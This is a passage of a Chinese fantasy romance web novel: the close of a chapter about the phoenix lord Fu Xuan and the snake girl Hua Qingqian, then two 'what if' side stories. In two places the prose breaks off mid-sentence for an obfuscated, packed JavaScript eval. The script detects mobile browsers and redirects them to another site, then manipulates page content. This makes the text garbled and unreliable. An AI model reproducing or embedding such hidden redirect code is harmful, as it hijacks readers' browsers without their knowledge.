心里涌进一股暖意,傅玄微微抿唇,感到天道的反噬瞬间荡然无存——此情此景,显然花清浅和他才是正经姻缘,他维护自己姻缘,本就是正道之举。 她在浑然不知的时候,又救了他一次。 傅玄托着她的身子,控制不住想要吻她,但注意到对面天水快要喷火的眼神,还是控制住了。 “小清,我没事的。”他轻声保证,抬眼示意她亲爹正虎视眈眈,不好太放肆的。 花清浅后知后觉松开他,欲盖弥彰咳嗽一声:“阿爹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092878|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃点这个地禾角,很甜的,咳咳。” 天水幽幽拿起筷子,想反问她是凡间特产甜,还是凤凰神君甜,不过看在她乖乖叫爹的份上,勉强忍了没有当场发作。 倒是玉京子这个刚认的干儿子跟他一条心:“爹!你快管管清浅,她现在眼里只有凤凰神君,哪还有咱们这一家人啊?” “傅玄现在跟我结了契,不也算咱们一家人?”花清浅咬牙道,同时用眼神警告他,但玉京子现在有了依仗,半点不怵,继续努力搬弄是非: “哦,那婚契都结多少日了,怎么不见姐夫改口叫爹娘啊!” 天水与香染齐齐打了个寒颤,立刻开口:“这倒不必——” “爹,娘。”傅玄反应却同样利索,还很认真地问:“聘礼礼单已备,二位可觉得有什么不妥?” 不妥?这么爽快将我二人辈分抬到与天平齐,为了迎娶清浅这般不择手段,就是最大的不妥! 天水心中无语怨愤交加,当下不加掩饰地横眉冷对,好在香染比他周全些,挤出笑来答道: “神君不必如此!神君与我们清浅是天赐的姻缘,我与她爹自小也没管过她,这婚姻之事便由她自己做主——如今她想要成亲,我们当然依她,不会故意为难半点的。” 花清浅感动叫了一声阿娘,她伸手摸了摸女儿柔顺的发丝,补充道: “再者,我们又不是凡人,不守凡间规矩。结了契的清浅也是我女儿,若她有半分不快,我们将她接回来,好生养着便是,左右她好养得很,又不废什么功夫。” 花清浅被她话中的护短之意淹没,这辈子第一次被娘亲在神君面前维护,她幸福得不行,张牙舞爪扑进娘亲怀里。 傅玄看着她向娘亲撒娇,眼神温柔,玉京子还想说些什么,被岐深一大块地禾角塞进了嘴里,这才消停。 几人默契地绕开凤凰神君改口的问题,说起当年花清浅误会的那只鹌鹑,岐深要为自己的莽撞自罚三杯,被香染笑着拦住,花清浅看着天水的脸色,更是哈哈大笑……酒足饭饱,她与傅玄一同起身,却也没有回长生界,而是回了她专属的小宫殿。 “我已经决定了,以后这里就叫梧桐殿,你来同我一起住嘛。”凤栖梧桐,花清浅觉得这个殿名十分有文化,挽着他的手得瑟: “以后这里种地禾角,那里种陨雾浆果,那架秋千旁边摆个阵法,同长生界连起来。我荡秋千累了就往里一跳,哗啦一下,就能直接蹦到你背上!” 傅玄说好。 花清浅心满意足,继续描绘未来:“虽然我爹娘回来了,生蛋的事也得抓紧,你说咱们生出来会是条小龙呢?还是小凤凰?” “小龙很神气的,但我想要个小凤凰,跟你一样有漂亮的羽毛。当然一窝有龙有凤凰最好……”她喋喋不休,沉浸在龙凤呈祥的宏伟蓝图里,下一刻冷不丁被拦腰抱起来,踢着腿叫:“诶诶诶,干什么?” 傅玄用上了以前教导她术法时的语气,循循善诱:“生蛋的事,不能光靠想。” “可这里还是震云神宫——” “无妨,我设了结界,其他人听不到。” 梧桐殿殿门深锁,里面不时传出几声低哑的“乖”与少女似泣似嗔的嘤咛,似乎是教学小有所成,端的是可喜可贺,可喜可贺。 87. 番外 【如果邪魔荡清】 花清浅在长生界山巢吃了睡,睡了吃,但整日神情恹恹,因此甚至还瘦了。 除了荡涤邪魔之外,傅玄全部时间都用来陪她,眼睁睁看着她越来越烦躁,却又无计可施。 “丹虺已经死了。”这日他谨慎地挑起话题,想着她知道这个好消息大抵会高兴一点,却见她皱起眉毛,问了句:“确定死透了么?” 他不明白她为何有此一问,但还是耐心地答:“我亲手行的刑。” “……”花清浅神色变得古怪起来,不说话了。 自从玉京子死去,她的心思便一直漂浮在湿润的云端,傅玄心疼她,却不知如何哄她开心——她在刻意压抑自己,仿佛在自我惩罚,不拿到玉京子魂片她就不配笑一笑,他一切安慰、开解都像是说进了棉花里,意思是她根本不听。 她不再关心蛇王之位,只有说起玉京子相关的事,才会理他一理,于是他接着说下去:“这几日作乱的邪魔都已封印,青逸山太平,可以去取魂片了。” 她眼睛发亮地望过来,说:“现在就去!” “现在孔雀族还在歇息。”他示意她看一看天色,“清浅,不要着急。” 在神霄玉清和岐深的倾情建议下,他在日常已经注意收敛了说教的口吻,但花清浅还是露出一副瑟缩神情。 她装得有点明显了,因为之前她也没有这样小心怯懦过。 小花蛇从来就不是那种循规蹈矩、一被训就老实的弟子。她生性机灵,被傅玄纵容惯了,更是无法无天,连他厉喝都不怎么怕,如今却因为一句温和的提醒缩得像只鹌鹑。 更要命的是,傅玄有些摸不准她这假装里有几分真意:近些天来,她好像在以这种方式故意疏远着他,好似他们只是一对单纯师徒,她对他只有单纯的崇敬与惧怕。 好似他们之间那点温情荡然无存,她只是迫于凤凰神君的威势才屈居这里,她其实不再想要他。 她不想再要他。 傅玄看着她低垂下去的小脸,心里远比她更惶恐,下意识脱口而出:“现在就去,也可以。” 可怜那老孔雀吕简,被扰了清梦不说,诚惶诚恐从洞里爬出来,迎面被凤凰神君吓得尾巴一抖。 “大明王。”傅玄侧身,让他看到一旁的花清浅,“这是我的——” 他原本想说“这是我的人”,因为他们之间的关系不能用一个词来概括,这种说法便有种别样的亲密,他会在心里反复品尝这样的亲密,然后偷偷欢喜好久。 可花清浅截住了他的话头:“我是神君半道收的弟子。” 她单方面将他们钉死在师徒之谊。 傅玄茫然地望着她,终于不能再粉饰太平,舌尖尝到一片苦涩。 - 玉京子的魂片十分普通,就像是西谷随处可见的石层,可花清浅捧着那块魂片,却如获至宝,不住向傅玄与吕简道谢。 傅玄心里五味杂陈,倒是吕简自觉受不住神君弟子隆重谢意,忙说无妨,还主动提出招待二人用早膳。 花清浅听他将孔雀族的早点吹得天花乱坠,也起了些兴致似的,朝傅玄扬起小脸,说道:“我想吃他说的那个雀尾酥。” 许久以来,这是她第一次语气这么软和,主动同他拉近距离。傅玄兀地看向她,眸中是纯粹的欣喜,她冰凉的蛇鳞险些被他不加掩饰散发出的热量烘暖。 “真的么?”他小心翼翼地轻声问,仿佛生怕惊吓到了她似的,“你饿了?我们就在此用膳——” 花清浅得寸进尺:“我想吃你亲手做的。” 哪家正常徒弟会闹着要吃师尊亲手做的饭?吕简觉得眼前情景有一丝诡异,转眼一看傅玄习以为常欣然答应的模样,又觉得还是自己见识少了。 然而半个时辰之后,傅玄捧着一盘新鲜出炉、蜜汁丰富的雀尾酥回来,见到原地坐着的花清浅,先前微微上扬的嘴角却忽然紧抿成一条直线。 难道神君他老人家现在才反应过来,不该为了爱徒的一句话下厨?大明王暗暗纳闷,看在花清浅之前彬彬有礼的份上,开口想为她说几句话: “神君,您这徒弟安静下来的样子,还真有几分您当年的风采……” “那是具傀儡。”傅玄打断他。 随着他话音落下,那具傀儡果真不再维持人形,化作一截树枝掉在地上。吕简大吃一惊:“那小花蛇傀儡术居然如此高超!真不愧是神君座下——” 傅玄听不下去他真心实意的赞叹,他放下雀尾酥,一面发动神识寻她踪迹,一面冷冷道:“她不是我弟子。” “啊?” “她是与我两情相悦的正缘。” 吕简倒抽一口冷气,这才想起天界传闻里求偶神君的小花蛇,难道那条蛇就是花清浅?方才两人的模样实在不像是花清浅单方面痴缠,是以他根本没往这方面想过。 很快找到小花蛇身上纸鸟的位置,傅玄没空理会吕简的请罪,虚空中一个手诀便隐去了身形。 花清浅在凡间,他尾随在她身后,看她拿着魂片到处求助大能,有些不知所措。 她显然已经受够了他的告诫,不管不顾,就是要玉京子活着。他若再关着她,只会适得其反,神霄玉清出主意说,要多给她些自由。 “还有一事,千万别在这时候说你喜欢她。”为了将功补过,神霄玉清对他的哄蛇策略可谓是尽心尽力,很周全地提醒道:“她现在未必想听这个。” 傅玄给了她自由,但又担心她的安危,便不动声色在她身后一直跟着。 直到小花蛇踏上西陆,为了一个古老邪门的复生之法,居然答应做妖尊鹞鹰的尊后。 花清浅一句“好的,我们成交”话音未落,便觉周身一暗,环境飞速变幻——她竟然无知无觉地被人隔空扔进了一个传送阵! 一道饱含沉怒的熟悉声音在耳边响起:“花清浅,我真是宠你太过。” 不等她反应,下一刻他就俯身压下来,不容置疑地吻在她唇上。 “!!!”她下意识开始挣扎,却被死死圈在他有力的怀抱中,想来神君是第一次强吻别人,只会在她唇上带着怒意啃咬,但那股不知从何而来的缠绵深情倒是无师自通,花清浅先是眼前一黑,而后呼吸急促,被他亲得不由自主双腿发软。 直到她从震惊中回过神来,使劲拍着他的胸前要求吸气,他才居高临下施舍般地退开一点点距离。 两人双唇分开,但距离仍是极近,在花清浅开口以前,傅玄居然恶人先告状:“口口声声说喜欢我,结果一句话就要跟人成亲,谁教你这样作践自己?” “什么作践,苍御峻可以让玉京子活过来!别说嫁给他,便是与他双修也——” “花清浅!”傅玄厉喝,看她小脸上神情又怕又犟,疼惜、震怒、自责,种种情绪交织,怕她又说出刺耳之言,干脆又低头吻她。 把怀里柔若无骨的少女再次亲到双颊泛粉、浑身无力,水眸生波,只能气喘吁吁地扶住他手臂,他才再次开口:“我知道你一向聪明,你已经发现我跟着你了,对不对?” 花清浅咬着嘴唇不说话。 从青逸山跑掉之后,身后便多了个如影随形、沉默而不容忽视的尾巴,她又不是傻子,很快反应过来是怎么一回事。 她辗转去到西陆,一为复活玉京子,二为见妖尊苍御峻一面;听说他妖力无双,上可与神一战,她想借他之手摆脱傅玄。 “你想逃开,想借助旁人之手制约我。”傅玄一语道破她的心思,花清浅下意识要抽出手来,被他反手扣住手腕,深深看进眼底,他语气居然十足温和:“可是清浅,你找不到这个人的。” 当今整个天上地下,没有人法力在他之上。 花清浅气急:“你、你到底为什么要这样!我一不损天道,二不害人性命,我只想要玉京子回来,你为何一定要拘着我!” 傅玄叹了口气,轻轻反问:“我为何要吻你?” 那谁知道,花清浅腹诽。反正总不会是因为—— “因为我喜欢你。”傅玄捧起她的小脸,让她看着自己,“虽然不合时宜,但我心悦你,我想你应该知道。” 花清浅:……我不知道! “玉京子之死是我失察,你实在要他活着,便让我来想法子替他招魂。”傅玄认真地看着她,“只一件,不许你寻求旁门左道。” 妖族复生,牵扯本就复杂。从孔雀族这边入手招魂,才算正途,旁的方法最多也就是唤来与玉京子相似的妖灵,承受更大的反噬不说,更有甚者还会招来邪魔。 怕她生出抵触,傅玄将这些道理掰开揉碎了讲给她听,没想到她这次却意外地乖顺,安安分分应了,隔了会又问他:“你说你喜欢我?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104659|137881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉京子不在,她心情躁郁,此刻绝不是谈爱的好时机。但话已出口,无从更改——因而傅玄还是谨慎地承认了,同时双手紧握,做好了她逃开的准备。 “……你喜欢我,什么时候开始的?一直就喜欢?我、我不信,而且现在太迟了,玉京子都死了。”花清浅嘀嘀咕咕道,过了半晌又憋出一句:“不过,你是真的喜欢我呀?” 傅玄从她眉眼中看出什么,心神震动,克制地点了点头:“你不信么?” 那倒不至于,神君总不会为了控制她以身相许。花清浅想了一会,像是终于接受了这个事实,浅浅倒抽一口气:“你喜欢我,所以决定帮我?所以玉京子是一定可以回来的哦?” 傅玄说,“我尽力。” 那就是一定可以了。 花清浅心口大石落地,但又觉得这些日子的折腾都白费了,由此竟对他生出点不讲道理的怨气:真是的,这么大的事,他为什么现在才说呀?难道是笃定她一直心知肚明吗? 就算、就算她感觉出了他的心意,但她也不敢确定呀!他要是早早跟她说明,她何必去看日月潭,何必为了那根本没有发生的未来兜这么大的圈子? 她想着想着,气冲冲地扬起脖子,决定啃回去。 这是玉京子死后的很久很久以来,花清浅第一次对他真心示好。 傅玄冥冥之中有所感应,似乎他已经避过了最难过的一个结局。 于是他抱住他失而复得的珍宝,长生界重新安稳。 此后百年,邪魔尽镇,苍生太平。 - 云何应住?云何降伏其心?* 花清浅在此,便能降伏他这一颗心。 - - - 【如果父母双全】 当年天水和香染及时请来凤凰神君,彻底封印了定法天怨,花清浅也成功降世为上神。 从小到大,花清浅便带领一群妖尊爹爹的手下到处“路见不平”,横行四海。有一次碰见个厉害的邪魔,险些不敌,幸被路过的傅玄相救,一眼万年,从此赖上神君。 天水没把她的“赖上”当回事,因为神君嘛,在这一代的小神仙里相当于一个传说,她产生仰慕再正常不过了。 花清浅还年轻,胡闹一点怎么了?而且有神君在,她再胡闹,好歹也会有个度,天水有这个信心。 他甚至还仗着战功彪炳,主动把花清浅带去重明神宫,请神君好好过过眼,多多管教他宝贝乖女儿。有他的恳求,傅玄也就对花清浅多纵容了一点。 这一纵容,就不知不觉纵容到坏了大事。 花清浅深知兵贵神速,一面把天水和香染蒙在鼓里,一面开始仗着身份请傅玄教导,问他古神血脉有何特异,最后急了还声东击西引傅玄吃醋。成功与他暗渡陈仓的时候,爹娘还完全不知道她已心想事成。 - 到了实在该摊牌的时候,尽管傅玄应该不至于会怕天水,但鉴于是花清浅先主动的,她决定帮神君暗示一下。 她跟护短的妖尊爹爹超不经意提起:“爹啊,你女儿我长大啦。” “嗯,现在你在海上都能打赢你竹言叔叔了,为父很是欣慰。”天水笑笑。 花清浅继续说:“长大啦,该成亲啦。” 天水瞬间改口:“成什么亲?你还小呢,谁敢肖想你,我打断他的腿!” “……可我已经快成亲啦。” 而天水看起来已经快要杀人了。 “当、当然我还没成呢,这不是先来问过您了嘛!”花清浅被亲爹的脸色吓到,赶紧往回掰扯,“阿爹,阿爹!我未婚夫婿好厉害的,才不是什么混小子呢,阿爹你就让他来看看嘛。” 天水气得脸色一黑:“都未婚夫婿了?!” “嗯、嗯呐。”花清浅陪着笑,“他人很好很好的,气度也高华,最要紧的是,他笑起来好好看!” 天水觉得她这说辞莫名有点熟悉。 “当然熟悉啦,之前我见到凤凰神君也是这么说的嘛。” “等等,现在说的是你那未婚夫婿,你提凤凰神君做什么?” 花清浅一脸无辜,默默对着手指。 天水过了好久才反应过来,气得龙须都在颤,一声恨恨龙啸响彻九霄:“那只老烧火鸟!!!他怎么敢觊觎我的女儿!!!”